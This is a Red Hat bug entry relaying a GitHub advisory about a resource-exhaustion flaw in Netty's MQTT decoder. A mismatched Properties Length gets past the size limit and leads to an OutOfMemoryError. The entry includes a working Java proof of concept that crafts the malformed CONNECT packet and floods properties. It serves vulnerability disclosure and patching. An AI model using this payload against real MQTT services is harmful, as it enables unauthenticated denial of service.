REDHAT-BUG-2536967: High severity Netty io.netty.handler.codec.mqtt.MqttDecoder vulnerability

Resource Exhaustion in MqttDecoder

A public GitHub Security Advisory (GHSA-jqf3-r9ww-c5x8) describes the following issue:

Summary Netty's fix for CVE-2026-44248 is incomplete. The decoder checks if the MQTT packet's Remaining Length exceeds maxBytesInMessage, but fails to validate the Properties Length against the Remaining Length. An attacker can bypass the size limit by sending a small Remaining Length but an enormous Properties Length. This forces Netty to buffer and parse millions of properties, allowing an unauthenticated remote attacker to trigger excessive memory and CPU consumption, leading to OutOfMemoryError.

Details In io.netty.handler.codec.mqtt.MqttDecoder, the decodeProperties() helper method reads totalPropertiesLength and attempts to parse that many bytes. If the buffer lacks the full length, a Signal is thrown. The catch block inside decode() only enforces maxBytesInMessage against bytesRemainingBeforeVariableHeader (the packet's Remaining Length).

By sending a CONNECT packet with a small Remaining Length but a huge Properties Length, the size check passes. ReplayingDecoder then buffers data from the network until the huge Properties Length is reached, parsing millions of UserProperty objects and exhausting CPU and memory.

PoC

java public class PoC { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new MqttDecoder(8092));

ByteBuf buf = Unpooled.buffer(); buf.writeByte(MqttMessageType.CONNECT.value() << 4); buf.writeByte(16); // Small Remaining Length (bypasses maxBytesInMessage)

buf.writeShort(4); buf.writeBytes("MQTT".getBytes()); buf.writeByte(5); buf.writeByte(0); buf.writeShort(60);

// Huge Properties Length: 268,435,455 buf.writeByte(0xFF); buf.writeByte(0xFF); buf.writeByte(0xFF); buf.writeByte(0x7F);

// Send the header. ReplayingDecoder will now wait for 268MB of properties. channel.writeInbound(buf);

// Send 50MB of properties to cause resource exhaustion byte[] userProp = new byte[]{ 0x26, 0, 1, 'A', 0, 1, 'B' }; ByteBuf chunk = Unpooled.buffer(userProp.length 10000); for (int i = 0; i < 10000; i++) { chunk.writeBytes(userProp); }

try { for (int i = 0; i < 715; i++) { channel.writeInbound(chunk.retainedDuplicate()); } } catch (OutOfMemoryError e) { e.printStackTrace(); } } }

Impact Resource Exhaustion. Any application using io.netty.handler.codec.mqtt.MqttDecoder to process MQTT 5 traffic is impacted.

Affected: - maven:io.netty:netty-codec-mqtt affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-mqtt affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-jqf3-r9ww-c5x8